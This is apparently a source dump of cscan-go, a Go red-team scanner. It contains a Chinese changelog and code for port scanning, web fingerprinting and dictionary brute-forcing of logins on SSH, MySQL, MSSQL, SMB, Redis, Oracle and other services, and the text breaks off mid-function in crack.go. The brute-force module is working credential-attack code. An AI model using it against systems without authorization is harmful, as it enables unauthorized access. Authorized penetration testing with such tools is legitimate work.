| ### v1.3.4 🐻‍❄️ 90 | 1. 更新了扫描端口范围时的,1-65535的刷屏问题,让显示更加精简 91 | 92 | ### v1.3.3 🐼 93 | 1. 修复了IP资产出现错误就会崩溃的 bug 94 | 95 | ### v1.3.2 🐻 96 | 1. 最近在 hw,发现好多工具扫描端口都是只能扫描 IP,但是无法扫描域名,所以加了个识别域名并扫描域名端口的功能,也在 -i 里。 97 | 如:`./cscan -i www.baidu.com` 或者 `./cscan -l domain.txt` 98 | 99 | ### v1.3.1 🦊 100 | 1. 更新了默认端口扫描,恢复了原来的常用端口(因为发现直接使用 5000-10000 这个扫描实在是太慢了,但是效果好),看个人喜好吧,如果想要全一点,又想要快一点,可以手动加入以下命令: 101 | ```text 102 | ./cscan -i xxx.xxx.xxx.xxx/24 -dp 5000-10000 103 | ``` 104 | 2. 修改了扫描逻辑,以前是全部扫描完端口之后,再进行 web 检测,这样效率太低,导致红队队员们要等到最后才能拿到结果;现在边扫端口边扫 web,有端口开放就直接扫描 web,如果你导出了 csv 文件,那么工具也会同时导出端口的扫描结果和 web 的扫描结果(建议每次都加 -o) 105 | ```text 106 | ./cscan -i xxx.xxx.xxx.xxx/24 -o result.csv 107 | ``` 108 | 109 | 110 | ### v1.2.2 🐰 111 | 更新了自带默认端口,新增了一些打 HW 常见的系统端口 112 | ```text 113 | 80, 81, 82, 83, 84, 85, 86, 87, 89, 88, 443, 21, 22, 114 | 445, 1100, 1433, 1883, 1434, 1521, 3306, 3389, 3399, 4369, 115 | 5000-10000, 116 | 11211, 15672, 27017, 25672, 50070, 61613, 61614 117 | ``` 118 | PS:发现了一个问题,编译好的文件,在 mac 和 linux 上执行,反馈很快,但是在 win 上执行,就要加载很久,我暂时不知道是什么原因,正在调查,如有大佬知道,原因,还希望大佬不吝赐教,暂时推荐该工具在 mac 与 linux 上使用,我测试的 win 比较少,如果大家用的 win 没问题,希望提个 Issues 提醒一下我,最后再次感谢 🙏 119 | 120 | 121 | ### v1.2.1 🐹 122 | 更新了开源证书 123 | 124 | ### v1.2.0 🐭 125 | #### 新版本迭代实现的功能: 126 | 1. 增加新选项,-nc 禁止暴力破解 127 | 2. 支持简单的暴力破解功能(内置简易字典,无需设置) 128 | 1. 支持 SSH 协议暴力破解 129 | 2. 支持 Mssql 协议暴力破解 130 | 3. 支持 Mysql 协议暴力破解 131 | 4. 支持 Ftp 协议暴力破解 132 | 5. 支持 Smb 协议暴力破解 133 | 6. 支持 Memcached 协议暴力破解 134 | 7. 支持 Mongodb 协议暴力破解 135 | 8. 支持 Oracle 协议暴力破解 136 | 9. 支持 Postgres 协议暴力破解 137 | 10. 支持 Redis 协议暴力破解 138 | #### 友情提示: 139 | 1. 本爆破功能只是简单的爆破,所以字典是内置的 140 | 2. 本爆破功能只是在扫描端口的时候,偶尔给你来点小惊喜,如果需要专业的爆破,请移步专业爆破工具,推荐 crack 141 | 142 | ### v1.1.0 🐱 143 | #### 新版本迭代实现的功能: 144 | 1. 扫描完端口之后,对于开放的端口,检测是否有 web 服务(并且检测到的结果终端输出显示的花里胡哨) 145 | 2. 只输出指定状态码的扫描结果 146 | 3. 实现导出功能,支持 txt、csv 两种格式 147 | #### 新版本改动: 148 | 1. 考虑到使用场景大部分是在内网,所以缩短了 timeout 的超时时间,由原来的 10s 修改为 7s(这将大大提高扫描效率,如果网络连通性不好,可以自行修改) 149 | 2. 默认 50 的线程数修改为 100 150 | 151 | 152 | ### v1.0.0 🐶 153 | #### 作为初始版本,主要支持的功能有: 154 | 1. 基本的端口扫描 155 | 2. 支持 IP、IP段、c段,三种格式的扫描方式 156 | 3. 端口输入支持范围输入 157 | 4. 导入 IP 文件同样支持 IP、IP段、c段,三种格式的扫描方式 158 | 5. 支持 socks5、http 代理,方便挂代理扫描,或者穿透到内网扫描 159 | #### 后续准备添加的功能有(画饼): 160 | 1. 支持导出输出结果(因为暂时功能太少了,所以还没写导出,不过这个很简单,很快就能写好) 161 | 2. 扫描完端口之后,对于开放的端口,检测是否有 web 服务 162 | 3. 对于一些常用的端口,如:3306,1433等,进行简单的弱口令爆破(放心,密码不会太多!) 163 | 4. 暂时想不到了,等想到了再补充... 164 | 165 | --- 166 | ## Star History 167 | 168 | [![Star History Chart](https://api.star-history.com/svg?repos=ifacker/cscan-go&type=Date)](https://star-history.com/#ifacker/cscan-go&Date) 169 | --- 170 | ![GoLand logo](https://resources.jetbrains.com/storage/products/company/brand/logos/GoLand.svg) 171 | -------------------------------------------------------------------------------- /control/scan/webScan.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/http" 6 | "cscan/control/output" 7 | "cscan/util/view" 8 | "fmt" 9 | "log" 10 | http2 "net/http" 11 | "strings" 12 | "sync" 13 | 14 | "github.com/antchfx/htmlquery" 15 | "github.com/gookit/color" 16 | "golang.org/x/net/html" 17 | ) 18 | 19 | // 获取关键信息 title 20 | func getMeta(n *html.Node) (title string) { 21 | if n == nil { 22 | return "" 23 | } 24 | // 获取title 25 | titletmp := htmlquery.FindOne(n, "/html/head/title/text()") 26 | if titletmp == nil { 27 | return "" 28 | } 29 | title = htmlquery.InnerText(titletmp) 30 | return 31 | } 32 | 33 | func reqfunc(url string) *config.WebInfo { 34 | webinfo := &config.WebInfo{} 35 | client := http.NewClient() 36 | // 禁止 302 跳转 37 | client.CheckRedirect = func(req *http2.Request, via []*http2.Request) error { 38 | return http2.ErrUseLastResponse 39 | } 40 | req, err := http2.NewRequest("GET", url, nil) 41 | if err != nil && config.Debug { 42 | log.Println(err) 43 | } 44 | req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.0 Safari/537.36") 45 | resp, err := client.Do(req) 46 | if err != nil { 47 | if config.Debug { 48 | log.Println(err) 49 | } 50 | return nil 51 | } 52 | //defer resp.Body.Close() 53 | defer func() { 54 | if err = resp.Body.Close(); err != nil && config.Debug { 55 | log.Println(err) 56 | } 57 | }() 58 | 59 | webinfo.Code = resp.StatusCode 60 | webinfo.Len = resp.ContentLength 61 | webinfo.Url = url 62 | var doc *html.Node 63 | webinfo.Title = getMeta(doc) 64 | url302Jump := resp.Header.Get("Location") 65 | if url302Jump != "" { 66 | webinfo.Url302Jump = url + url302Jump 67 | } 68 | webinfo.Server = resp.Header.Get("Server") 69 | webinfo.XPoweredBy = resp.Header.Get("X-Powered-By") 70 | 71 | return webinfo 72 | } 73 | 74 | // 检测 web 服务 75 | func WebScan(ipOption *config.IpOption) { 76 | urls := []string{ 77 | fmt.Sprintf("https://%s:%d", ipOption.Ip, ipOption.Port), 78 | fmt.Sprintf("http://%s:%d", ipOption.Ip, ipOption.Port), 79 | } 80 | 81 | // 我这边 http 和 https 协议全部都做检测 82 | for _, url := range urls { 83 | webInfo := reqfunc(url) 84 | if webInfo != nil { 85 | ipOption.WebInfo = *webInfo 86 | } 87 | } 88 | 89 | // 备注:这里记得处理一下 http 和 https 两个协议,原版 cscan 中使用的方法是,如果端口不是 443,8443,就走http,否则就走 https 90 | 91 | } 92 | 93 | // 批量检测 web 服务 94 | func WebScans(ipOptions *config.IpOptions) { 95 | var ThreadMaxChan = make(chan int, config.ThreadMax) 96 | wg := &sync.WaitGroup{} 97 | 98 | contains := func(s []int, e int) bool { 99 | for _, a := range s { 100 | if a == e { 101 | return true 102 | } 103 | } 104 | return false 105 | } 106 | 107 | for _, option := range ipOptions.IpOption { 108 | if !option.PortOpenStatus { 109 | continue 110 | } 111 | wg.Add(1) 112 | ThreadMaxChan <- 1 113 | go func(ipOption *config.IpOption) { 114 | WebScan(ipOption) 115 | 116 | if ipOption.WebInfo.Code != 0 { 117 | 118 | // 打印输出 119 | // filters 为空代表没有使用 -filter 参数 120 | if contains(config.Filters, ipOption.WebInfo.Code) || config.Filters == nil { 121 | codeTmp := "" 122 | if 200 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 300 { 123 | codeTmp += color.C256(46).Sprintf("[") + color.C256(196).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]") 124 | } else if 300 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 400 { 125 | codeTmp += color.C256(46).Sprintf("[") + color.C256(154).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]") 126 | } else { 127 | codeTmp += color.C256(46).Sprintf("[") + color.C256(249).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]") 128 | } 129 | 130 | titleTmp := color.C256(46).Sprintf("[") + color.C256(165).Sprintf("%s", ipOption.WebInfo.Title) + color.C256(46).Sprintf("]") 131 | lenTmp := color.C256(46).Sprintf("[") + color.C256(200).Sprintf("%d", ipOption.WebInfo.Len) + color.C256(46).Sprintf("]") 132 | serverTmp := color.C256(46).Sprintf("[") + color.C256(226).Sprintf("%s", ipOption.WebInfo.Server) + color.C256(46).Sprintf("]") 133 | xPoweredByTmp := color.C256(46).Sprintf("[") + color.C256(51).Sprintf("%s", ipOption.WebInfo.XPoweredBy) + color.C256(46).Sprintf("]") 134 | url302JumpTmp := color.C256(46).Sprintf(" --> ") + color.C256(46).Sprintf("%s", ipOption.WebInfo.Url302Jump) 135 | tmpprint := ipOption.WebInfo.Url + "\t" + codeTmp 136 | 137 | if ipOption.WebInfo.Title != "" { 138 | tmpprint += titleTmp 139 | } 140 | tmpprint += " " 141 | if ipOption.WebInfo.Server != "" { 142 | tmpprint += serverTmp 143 | } 144 | if ipOption.WebInfo.XPoweredBy != "" { 145 | tmpprint += xPoweredByTmp 146 | } 147 | tmpprint += lenTmp 148 | if ipOption.WebInfo.Url302Jump != "" { 149 | tmpprint += url302JumpTmp 150 | } 151 | view.PrintlnSuccess(tmpprint) 152 | } 153 | 154 | // 导出 155 | if config.OutPutType != "" { 156 | if strings.Contains(config.OutPutType, ".csv") { 157 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_webScan.csv" 158 | output.OutputFile(path, ipOption, config.MODE_WEB) 159 | } else { 160 | output.OutputFile(config.OutPutType, ipOption, config.MODE_WEB) 161 | } 162 | } 163 | } 164 | wg.Done() 165 | <-ThreadMaxChan 166 | }(option) 167 | } 168 | close(ThreadMaxChan) 169 | wg.Wait() 170 | } 171 | -------------------------------------------------------------------------------- /control/scan/start.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | // import ( 4 | // "cscan/config" 5 | // "cscan/control/crack" 6 | // "cscan/util/file" 7 | // "cscan/util/identify" 8 | // "cscan/util/view" 9 | // "fmt" 10 | // "github.com/gookit/color" 11 | // "log" 12 | // "os" 13 | // "strconv" 14 | // "strings" 15 | // "sync" 16 | // "time" 17 | // ) 18 | 19 | // 加载输入的参数 20 | // func loadConfig() *config.IpOptions { 21 | // ipOptions := &config.IpOptions{} 22 | 23 | // // 端口识别代码块 24 | // var ports []int 25 | 26 | // // 添加端口的内部通用方法 27 | // dfPort := func() { 28 | 29 | // tmpPorts := "" 30 | // if config.DefaultPorts != "" { 31 | // tmpPorts = config.DefaultPorts 32 | // } else if config.ForbidPorts != "" { 33 | // tmpPorts = config.ForbidPorts 34 | // } 35 | 36 | // // 识别分隔符关键字符的内部方法 37 | // identifyKeywords := func(keyword string) { 38 | // portsStr := strings.Split(strings.TrimSpace(tmpPorts), keyword) 39 | // for _, s := range portsStr { 40 | // s = strings.TrimSpace(s) 41 | // // 判断 s 里是否含有 "-" 42 | // if strings.Contains(s, "-") { 43 | // stmps := strings.Split(s, "-") 44 | // min, err := strconv.Atoi(stmps[0]) 45 | // max, err := strconv.Atoi(stmps[1]) 46 | // if err != nil { 47 | // if config.Debug { 48 | // log.Println(err) 49 | // view.PrintlnError("输入的 port 格式有误,请重试!案例:1-65535") 50 | // } 51 | // os.Exit(1) 52 | // } 53 | // for i := min; i <= max; i++ { 54 | // ports = append(ports, i) 55 | // } 56 | // } else { 57 | // port, err := strconv.Atoi(s) 58 | // if err != nil { 59 | // if config.Debug { 60 | // log.Println(err) 61 | // view.PrintlnError("输入的 port 格式有误,请重试!") 62 | // } 63 | // os.Exit(1) 64 | // } 65 | // ports = append(ports, port) 66 | // } 67 | // } 68 | // } 69 | 70 | // // 识别分隔符 71 | // if strings.Contains(tmpPorts, ",") { 72 | // identifyKeywords(",") 73 | // } else if strings.Contains(tmpPorts, ";") { 74 | // identifyKeywords(";") 75 | // } else { 76 | // identifyKeywords(" ") 77 | // } 78 | // } 79 | 80 | // if config.DefaultPorts != "" { 81 | // // 指定端口,加默认端口扫描 82 | 83 | // dfPort() 84 | 85 | // // 添加默认端口 86 | // ports = append(ports, config.Ports...) 87 | 88 | // // 去重函数 89 | // uniq := func(s []int) []int { 90 | // m := make(map[int]interface{}) // 用来记录元素 91 | // for _, v := range s { 92 | // m[v] = nil 93 | // } 94 | 95 | // ret := []int{} // 结果slice 96 | // for k := range m { 97 | // ret = append(ret, k) 98 | // } 99 | // return ret 100 | // } 101 | // // 对 ports 进行去重 102 | // ports = uniq(ports) 103 | 104 | // // 测试代码:展示所有要扫描的端口 105 | // //fmt.Println(ports) 106 | 107 | // } else if config.ForbidPorts != "" { 108 | // // 指定端口,并禁用默认端口扫描 109 | 110 | // dfPort() 111 | 112 | // // 测试代码:展示所有要扫描的端口 113 | // fmt.Println(ports) 114 | // } else { 115 | // // 未输入端口参数,使用默认端口 116 | // ports = config.Ports 117 | // } 118 | 119 | // ipOptions.Ports = ports 120 | 121 | // // IP识别代码块 122 | // var ips []string 123 | 124 | // // -l 识别 IP 文件 125 | // if config.IpFilePath != "" { 126 | // c := make(chan bool) 127 | // textb := file.ReadFile(config.IpFilePath) 128 | // texts := strings.Split(string(textb), "\n") 129 | // wg := &sync.WaitGroup{} 130 | // wg.Add(1) 131 | // // 显示加载界面 132 | // go func(c chan bool) { 133 | // color.C256(226).Print(" Loading") 134 | // out: 135 | // for { 136 | // select { 137 | // case <-c: 138 | // break out 139 | // default: 140 | // color.C256(226).Print(".") 141 | // time.Sleep(1 * time.Second) 142 | // } 143 | // } 144 | // color.C256(226).Println("OK!\n") 145 | // wg.Done() 146 | // }(c) 147 | // for _, text := range texts { 148 | // result, err := identify.IpRange(text) 149 | // if err != nil && config.Debug { 150 | // log.Println(err) 151 | // continue 152 | // } 153 | // ips = append(ips, result...) 154 | // } 155 | // c <- true 156 | // wg.Wait() 157 | // } 158 | 159 | // // -i 识别 IP、IP段或IP区间 160 | // // 如:192.168.1.1 | 192.168.1.1/24 | 192.168.1.1-20 161 | // if config.IpInfo != "" { 162 | // result, err := identify.IpRange(config.IpInfo) 163 | // if err != nil && config.Debug { 164 | // log.Println(err) 165 | // os.Exit(1) 166 | // } 167 | // ips = append(ips, result...) 168 | // } 169 | // ipOptions.Ips = ips 170 | // return ipOptions 171 | // } 172 | 173 | // // 初始化过滤输出端口 174 | // func filterInit() { 175 | 176 | // if config.Filter == "" { 177 | // return 178 | // } 179 | 180 | // // 识别分隔符关键字符的内部方法 181 | // identifyKeywords := func(keyword string) { 182 | // filterStatusCode := strings.Split(strings.TrimSpace(config.Filter), keyword) 183 | // for _, s := range filterStatusCode { 184 | // s = strings.TrimSpace(s) 185 | // // 判断 s 里是否含有 "-" 186 | // if strings.Contains(s, "-") { 187 | // stmps := strings.Split(s, "-") 188 | // min, err := strconv.Atoi(stmps[0]) 189 | // max, err := strconv.Atoi(stmps[1]) 190 | // if err != nil { 191 | // if config.Debug { 192 | // log.Println(err) 193 | // view.PrintlnError("输入的 filter 格式有误,请重试!案例:300-500") 194 | // } 195 | // os.Exit(1) 196 | // } 197 | // for i := min; i <= max; i++ { 198 | // config.Filters = append(config.Filters, i) 199 | // } 200 | // } else { 201 | // port, err := strconv.Atoi(s) 202 | // if err != nil { 203 | // if config.Debug { 204 | // log.Println(err) 205 | // view.PrintlnError("输入的 filter 格式有误,请重试!") 206 | // } 207 | // os.Exit(1) 208 | // } 209 | // config.Filters = append(config.Filters, port) 210 | // } 211 | // } 212 | // } 213 | 214 | // if strings.Contains(config.Filter, ",") { 215 | // identifyKeywords(",") 216 | // } else if strings.Contains(config.Filter, ";") { 217 | // identifyKeywords(";") 218 | // } else { 219 | // identifyKeywords(" ") 220 | // } 221 | // } 222 | 223 | // // 端口扫描 224 | // func portScan(ipOptions *config.IpOptions) { 225 | // PortScans(ipOptions) 226 | // } 227 | 228 | // // web 扫描 229 | // func webScan(ipOptions *config.IpOptions) { 230 | // WebScans(ipOptions) 231 | // } 232 | 233 | // // 对一些特殊端口进行暴力破解 234 | // func crackStart(ipOption *config.IpOptions) { 235 | // if config.NotCrack { 236 | // return 237 | // } 238 | // crack.StartCrack(ipOption) 239 | // } 240 | 241 | // func StartScans() { 242 | // ipOptions := loadConfig() 243 | // filterInit() 244 | // portScan(ipOptions) 245 | // webScan(ipOptions) 246 | // crackStart(ipOptions) 247 | // //fmt.Println(ipOptions) 248 | // } 249 | -------------------------------------------------------------------------------- /control/newScan/start.go: -------------------------------------------------------------------------------- 1 | package newScan 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/util/file" 6 | "cscan/util/identify" 7 | "cscan/util/view" 8 | "fmt" 9 | "log" 10 | "os" 11 | "strconv" 12 | "strings" 13 | "sync" 14 | 15 | "github.com/gookit/color" 16 | "github.com/ifacker/myutil" 17 | ) 18 | 19 | // 懒加载 port 20 | var once sync.Once 21 | var startPorts []int 22 | 23 | func initPorts() { 24 | portsTmp := strings.Split(config.Ports, ",") 25 | for _, portstr := range portsTmp { 26 | portInt, err := strconv.Atoi(strings.TrimSpace(portstr)) 27 | if err != nil { 28 | color.Errorf("端口识别错误:%s", err) 29 | os.Exit(1) 30 | } 31 | // startPorts = make([]int, 0) 32 | startPorts = append(startPorts, portInt) 33 | } 34 | } 35 | 36 | func GetPorts() []int { 37 | once.Do(initPorts) 38 | return startPorts 39 | } 40 | 41 | // 加载输入的参数 42 | func loadConfig() *config.IpOptions { 43 | ipOptions := &config.IpOptions{} 44 | 45 | // 端口识别代码块 46 | var ports []int 47 | 48 | // 添加端口的内部通用方法 49 | dfPort := func() { 50 | 51 | tmpPorts := "" 52 | if config.DefaultPorts != "" { 53 | tmpPorts = config.DefaultPorts 54 | } else if config.ForbidPorts != "" { 55 | tmpPorts = config.ForbidPorts 56 | } 57 | 58 | // 识别分隔符关键字符的内部方法 59 | identifyKeywords := func(keyword string) { 60 | portsStr := strings.Split(strings.TrimSpace(tmpPorts), keyword) 61 | for _, s := range portsStr { 62 | s = strings.TrimSpace(s) 63 | // 判断 s 里是否含有 "-" 64 | if strings.Contains(s, "-") { 65 | stmps := strings.Split(s, "-") 66 | min, err := strconv.Atoi(stmps[0]) 67 | max, err := strconv.Atoi(stmps[1]) 68 | if err != nil { 69 | if config.Debug { 70 | log.Println(err) 71 | view.PrintlnError("输入的 port 格式有误,请重试!案例:1-65535") 72 | } 73 | os.Exit(1) 74 | } 75 | for i := min; i <= max; i++ { 76 | ports = append(ports, i) 77 | } 78 | } else { 79 | port, err := strconv.Atoi(s) 80 | if err != nil { 81 | if config.Debug { 82 | log.Println(err) 83 | view.PrintlnError("输入的 port 格式有误,请重试!") 84 | } 85 | os.Exit(1) 86 | } 87 | ports = append(ports, port) 88 | } 89 | } 90 | } 91 | 92 | // 识别分隔符 93 | if strings.Contains(tmpPorts, ",") { 94 | identifyKeywords(",") 95 | } else if strings.Contains(tmpPorts, ";") { 96 | identifyKeywords(";") 97 | } else { 98 | identifyKeywords(" ") 99 | } 100 | } 101 | 102 | if config.DefaultPorts != "" { 103 | // 指定端口,加默认端口扫描 104 | 105 | dfPort() 106 | 107 | // 添加默认端口 108 | // ports = append(ports, config.Ports...) 109 | ports = append(ports, GetPorts()...) 110 | 111 | // 去重函数 112 | uniq := func(s []int) []int { 113 | m := make(map[int]interface{}) // 用来记录元素 114 | for _, v := range s { 115 | m[v] = nil 116 | } 117 | 118 | ret := []int{} // 结果slice 119 | for k := range m { 120 | ret = append(ret, k) 121 | } 122 | return ret 123 | } 124 | // 对 ports 进行去重 125 | ports = uniq(ports) 126 | 127 | // 测试代码:展示所有要扫描的端口 128 | fmt.Printf(strings.ReplaceAll(strings.ReplaceAll(fmt.Sprintf("Port: %v %s", config.Ports, config.DefaultPorts), "[", ""), "]", "")) 129 | 130 | } else if config.ForbidPorts != "" { 131 | // 指定端口,并禁用默认端口扫描 132 | 133 | dfPort() 134 | 135 | // 测试代码:展示所有要扫描的端口 136 | fmt.Printf("Port: %s", config.ForbidPorts) 137 | } else { 138 | // 未输入端口参数,使用默认端口 139 | // ports = config.Ports 140 | ports = GetPorts() 141 | } 142 | 143 | ipOptions.Ports = ports 144 | 145 | // IP识别代码块 146 | //var ips []string 147 | var ips = make(myutil.Set) 148 | 149 | // -l 识别 IP 文件 150 | if config.IpFilePath != "" { 151 | //c := make(chan bool) 152 | textb := file.ReadFile(config.IpFilePath) 153 | texts := strings.Split(string(textb), "\n") 154 | //wg := &sync.WaitGroup{} 155 | //wg.Add(1) 156 | // 显示加载界面 157 | //go func(c chan bool) { 158 | // color.C256(226).Print(" Loading") 159 | //out: 160 | // for { 161 | // select { 162 | // case <-c: 163 | // break out 164 | // default: 165 | // color.C256(226).Print(".") 166 | // time.Sleep(1 * time.Second) 167 | // } 168 | // } 169 | // color.C256(226).Println("OK!\n") 170 | // wg.Done() 171 | //}(c) 172 | for _, text := range texts { 173 | resultDomain, err := identify.DomainRegex(text) 174 | if err != nil && config.Debug { 175 | log.Println(err) 176 | } 177 | ips.AddAll(resultDomain) 178 | resultIp, err := identify.IpRange(text) 179 | if err != nil && config.Debug { 180 | log.Println(err) 181 | } 182 | //ips = append(ips, resultIp...) 183 | ips.AddAll(resultIp) 184 | } 185 | if len(ips) <= 0 { 186 | os.Exit(1) 187 | } 188 | //c <- true 189 | //wg.Wait() 190 | } 191 | 192 | // -i 识别 IP、IP段或IP区间 193 | // 如:192.168.1.1 | 192.168.1.1/24 | 192.168.1.1-20 194 | if config.IpInfo != "" { 195 | 196 | resultDomain, err := identify.DomainRegex(config.IpInfo) 197 | if err != nil && config.Debug { 198 | log.Println(err) 199 | } 200 | //ips = append(ips, resultDomain...) 201 | ips.AddAll(resultDomain) 202 | 203 | resultIp, err := identify.IpRange(config.IpInfo) 204 | if err != nil && config.Debug { 205 | log.Println(err) 206 | } 207 | //ips = append(ips, resultIp...) 208 | ips.AddAll(resultIp) 209 | 210 | if len(ips) <= 0 { 211 | os.Exit(1) 212 | } 213 | } 214 | var ipsTmp []string 215 | for ip, _ := range ips { 216 | ipsTmp = append(ipsTmp, ip) 217 | } 218 | ipOptions.Ips = ipsTmp 219 | return ipOptions 220 | } 221 | 222 | // 初始化过滤输出端口 223 | func filterInit() { 224 | 225 | if config.Filter == "" { 226 | return 227 | } 228 | 229 | // 识别分隔符关键字符的内部方法 230 | identifyKeywords := func(keyword string) { 231 | filterStatusCode := strings.Split(strings.TrimSpace(config.Filter), keyword) 232 | for _, s := range filterStatusCode { 233 | s = strings.TrimSpace(s) 234 | // 判断 s 里是否含有 "-" 235 | if strings.Contains(s, "-") { 236 | stmps := strings.Split(s, "-") 237 | min, err := strconv.Atoi(stmps[0]) 238 | max, err := strconv.Atoi(stmps[1]) 239 | if err != nil { 240 | if config.Debug { 241 | log.Println(err) 242 | view.PrintlnError("输入的 filter 格式有误,请重试!案例:300-500") 243 | } 244 | os.Exit(1) 245 | } 246 | for i := min; i <= max; i++ { 247 | config.Filters = append(config.Filters, i) 248 | } 249 | } else { 250 | port, err := strconv.Atoi(s) 251 | if err != nil { 252 | if config.Debug { 253 | log.Println(err) 254 | view.PrintlnError("输入的 filter 格式有误,请重试!") 255 | } 256 | os.Exit(1) 257 | } 258 | config.Filters = append(config.Filters, port) 259 | } 260 | } 261 | } 262 | 263 | if strings.Contains(config.Filter, ",") { 264 | identifyKeywords(",") 265 | } else if strings.Contains(config.Filter, ";") { 266 | identifyKeywords(";") 267 | } else { 268 | identifyKeywords(" ") 269 | } 270 | } 271 | 272 | func NewStartScans() { 273 | ipOptions := loadConfig() 274 | filterInit() 275 | // 对 IP 进行端口扫描,http检测,以及暴力破解 276 | Scans(ipOptions) 277 | } 278 | -------------------------------------------------------------------------------- /control/crack/crack.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/crack/connectLib" 6 | "cscan/control/output" 7 | "cscan/util/file" 8 | "cscan/util/view" 9 | "embed" 10 | "github.com/gookit/color" 11 | "log" 12 | "strings" 13 | "sync" 14 | ) 15 | 16 | //go:embed dic 17 | var Dic embed.FS 18 | 19 | var ( 20 | usernamePath string 21 | passwordPath string 22 | ) 23 | 24 | // 初始化 Dic 字典目录 25 | func init() { 26 | ents, err := Dic.ReadDir("dic") 27 | if err != nil { 28 | if config.Debug { 29 | log.Println(err) 30 | } 31 | return 32 | } 33 | for _, ent := range ents { 34 | path := ent.Name() 35 | if strings.Contains(strings.ToLower(path), "username") { 36 | usernamePath = path 37 | } 38 | if strings.Contains(strings.ToLower(path), "password") { 39 | passwordPath = path 40 | } 41 | } 42 | } 43 | 44 | // 破解子模块 45 | //func subCrack(deal string, ipOption *config.IpOption, passwords []string, wg *sync.WaitGroup, ThreadMaxChan chan int) { 46 | // ipOption.CrackInfo.Deal = deal 47 | // for _, username := range config.Userdict[deal] { 48 | // for _, passwordTmp := range passwords { 49 | // var password string 50 | // // 替换 superkey 51 | // if strings.Contains(passwordTmp, "{{USER}}") { 52 | // password = strings.ReplaceAll(passwordTmp, "{{USER}}", username) 53 | // } else { 54 | // password = passwordTmp 55 | // } 56 | // connect := &connectLib.IpCrack{ 57 | // Ip: ipOption.Ip, 58 | // Port: ipOption.Port, 59 | // UserName: username, 60 | // Password: password, 61 | // CrackStatus: false, 62 | // } 63 | // wg.Add(1) 64 | // ThreadMaxChan <- 1 65 | // go func(connect *connectLib.IpCrack, ipOption *config.IpOption) { 66 | // 67 | // connect.ConnectSSH() 68 | // 69 | // ipOption.CrackInfo.UserName = connect.UserName 70 | // ipOption.CrackInfo.Password = connect.Password 71 | // if connect.CrackStatus { 72 | // 73 | // // 打印输出 74 | // ipAndPort := color.C256(46).Sprintf("%s:%d\t", ipOption.Ip, ipOption.Port) 75 | // userName := color.C256(226).Sprintf("%s\t", ipOption.CrackInfo.UserName) 76 | // passWord := color.C256(51).Sprintf("%s\t", ipOption.CrackInfo.Password) 77 | // deal := color.C256(219).Sprintf("%s\n", ipOption.CrackInfo.Deal) 78 | // tmpprint := ipAndPort + userName + passWord + deal 79 | // view.PrintlnSuccess(tmpprint) 80 | // 81 | // // 导出 82 | // if config.OutPutType != "" { 83 | // if strings.Contains(config.OutPutType, ".csv") { 84 | // path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_Crack.csv" 85 | // output.OutputFile(path, ipOption, config.MODE_CRACK) 86 | // } else { 87 | // output.OutputFile(config.OutPutType, ipOption, config.MODE_CRACK) 88 | // } 89 | // } 90 | // } 91 | // wg.Done() 92 | // <-ThreadMaxChan 93 | // }(connect, ipOption) 94 | // } 95 | // } 96 | //} 97 | 98 | // 暴力破解模块 99 | func StartCrack(ipOptions *config.IpOptions) { 100 | // 加载读取字典文件 101 | usernames := file.ReadFile2Strings4embed(Dic, usernamePath) 102 | // password 中含有 superkey,后期进行暴力破解的时候,会对 superkey 进行解析适配 103 | passwords := file.ReadFile2Strings4embed(Dic, passwordPath) 104 | 105 | wg := &sync.WaitGroup{} 106 | var ThreadMaxChan = make(chan int, config.ThreadMax) 107 | 108 | for _, username := range usernames { 109 | for _, passwordTmp := range passwords { 110 | var password string 111 | // 替换 superkey 112 | if strings.Contains(passwordTmp, "{{USER}}") { 113 | password = strings.ReplaceAll(passwordTmp, "{{USER}}", username) 114 | } else { 115 | password = passwordTmp 116 | } 117 | for _, ipOption := range ipOptions.IpOption { 118 | if ipOption.PortOpenStatus { 119 | connect := &connectLib.IpCrack{ 120 | Ip: ipOption.Ip, 121 | Port: ipOption.Port, 122 | UserName: username, 123 | Password: password, 124 | CrackStatus: false, 125 | } 126 | 127 | wg.Add(1) 128 | ThreadMaxChan <- 1 129 | go func(connect *connectLib.IpCrack, ipOption *config.IpOption) { 130 | // 根据端口来选择要使用的爆破协议 131 | switch ipOption.Port { 132 | case config.PostsCrackMap["ssh"]: 133 | ipOption.CrackInfo.Deal = "ssh" 134 | connect.ConnectSSH() 135 | case config.PostsCrackMap["mssql"]: 136 | ipOption.CrackInfo.Deal = "mssql" 137 | connect.ConnectMssql() 138 | case config.PostsCrackMap["mysql"]: 139 | ipOption.CrackInfo.Deal = "mysql" 140 | connect.ConnectMysql() 141 | case config.PostsCrackMap["ftp"]: 142 | ipOption.CrackInfo.Deal = "ftp" 143 | connect.ConnectFtp() 144 | case config.PostsCrackMap["smb"]: 145 | ipOption.CrackInfo.Deal = "smb" 146 | connect.ConnectSmb() 147 | case config.PostsCrackMap["memcached"]: 148 | ipOption.CrackInfo.Deal = "memcached" 149 | connect.ConnectMemcached() 150 | case config.PostsCrackMap["mongodb"]: 151 | ipOption.CrackInfo.Deal = "mongodb" 152 | connect.ConnectMongodb() 153 | case config.PostsCrackMap["oracle"]: 154 | ipOption.CrackInfo.Deal = "oracle" 155 | connect.ConnectOracle() 156 | case config.PostsCrackMap["postgres"]: 157 | ipOption.CrackInfo.Deal = "postgres" 158 | connect.ConnectPostgres() 159 | case config.PostsCrackMap["redis"]: 160 | ipOption.CrackInfo.Deal = "redis" 161 | connect.ConnectRedis() 162 | //case config.PostsCrackMap["rdp"]: 163 | // ipOption.CrackInfo.Deal = "rdp" 164 | // connect.ConnectRdp() 165 | } 166 | ipOption.CrackInfo.UserName = connect.UserName 167 | ipOption.CrackInfo.Password = 